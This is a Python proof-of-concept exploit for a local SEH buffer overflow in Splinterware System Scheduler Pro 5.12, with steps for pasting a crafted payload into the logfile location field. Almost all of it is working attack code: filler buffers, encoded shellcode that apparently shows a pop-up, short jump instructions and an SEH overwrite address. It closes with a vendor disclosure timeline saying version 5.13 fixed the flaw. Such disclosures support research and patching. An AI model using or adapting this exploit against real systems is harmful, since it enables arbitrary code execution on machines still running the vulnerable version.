Splinterware System Scheduler Pro 5.12 Buffer Overflow

`#!/usr/bin/python  
  
#  
# Exploit Author: bzyo  
# Twitter: @bzyo_  
# Exploit Title: Splinterware System Scheduler Pro 5.12 - Local Buffer Overflow (SEH)  
# Date: 07-21-18  
# Vulnerable Software: System Scheduler Pro 5.12  
# Vendor Homepage: https://www.splinterware.com  
# Version: 5.12  
# Software Link: https://www.splinterware.com/download/ssproeval.exe  
# Tested Windows 7 SP1 x86  
#  
#   
#  
# PoC  
# 1. generate sysschedule512.txt, copy contents to clipboard  
# 2. open application  
# 3. select view, preferences and in the Startup/Logging tab  
# 4. paste contents from clipboard to the logfile location field  
# 5. exit preferences  
# 6. create dummy task to open notepad.exe  
# 7. run task, notepad opens  
# 8. close notepad  
# 9. pop-up window appears and application crashes  
  
  
  
import struct  
  
filename="sysschedule512.txt"  
  
junk = "A"*55  
  
#thx giuseppe d'amore for edb-id 28996; edited pop-up msg & encoded  
#msfencode -e x86/alpha_mixed -i bzyo; size 287   
msg = ("\x89\xe5\xda\xc4\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a"  
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59"  
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"  
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"  
"\x75\x4a\x49\x74\x71\x58\x52\x4c\x72\x30\x30\x52\x44\x6c"  
"\x4b\x75\x42\x4c\x4b\x62\x72\x34\x4c\x4e\x6b\x30\x52\x45"  
"\x4c\x6e\x6b\x73\x72\x56\x68\x6c\x4b\x64\x32\x31\x30\x6c"  
"\x4b\x66\x72\x4d\x50\x33\x4e\x66\x6c\x50\x33\x32\x55\x39"  
"\x62\x4f\x79\x6a\x67\x43\x33\x62\x58\x67\x4c\x6c\x4b\x56"  
"\x37\x33\x48\x66\x61\x4a\x62\x4e\x6b\x51\x6a\x77\x50\x55"  
"\x51\x49\x57\x66\x51\x58\x6d\x4e\x6b\x30\x34\x6c\x6f\x76"  
"\x61\x69\x56\x57\x35\x4d\x51\x67\x4e\x31\x56\x35\x31\x74"  
"\x34\x63\x51\x64\x35\x49\x62\x4f\x71\x43\x4e\x46\x68\x53"  
"\x75\x53\x48\x71\x79\x64\x34\x30\x75\x5a\x49\x6c\x4b\x30"  
"\x7a\x51\x34\x33\x31\x59\x57\x42\x46\x4c\x4b\x44\x6c\x50"  
"\x6f\x4e\x6b\x52\x5a\x45\x4c\x65\x51\x4b\x77\x6e\x6b\x71"  
"\x6c\x6e\x4f\x6b\x4c\x55\x51\x38\x47\x51\x78\x37\x51\x75"  
"\x71\x37\x51\x76\x61\x65\x38\x71\x52\x61\x4a\x43\x69\x50"  
"\x4f\x50\x68\x31\x30\x55\x71\x64\x61\x67\x51\x6d\x59\x48"  
"\x61\x6b\x4e\x73\x79\x66\x6b\x44\x71\x6b\x70\x66\x31\x50"  
"\x50\x49\x6f\x68\x57\x41\x41")  
  
junk1 = "B"*56  
  
#jmp back to As  
jmp3 = "\xe9\x6f\xfe\xff\xff"  
  
junk2= "C"*4  
  
#jmp back after random 8 nulls added  
jmp2 = "\xeb\xf5"  
  
junk3 = "C"*10  
  
#jmp back before random 8 nulls added  
jmp = "\xeb\xf2\xcc\xcc"  
  
seh = struct.pack('<L',0x00413121)  
  
buffer = junk + msg + junk1 + jmp3 + junk2 + jmp2 + junk3 + jmp + seh   
  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
  
# Timeline  
#---------------------------------------------------------------------  
#05-02-18: Vendor notified of vulnerability  
#05-03-18: Initial vendor response  
#05-09-18: Issues resolved after some back and forth discussion  
#07-20-18: New version released, 5.13, with issue fixed  
#07-21-18: Submitted public disclosure  
  
`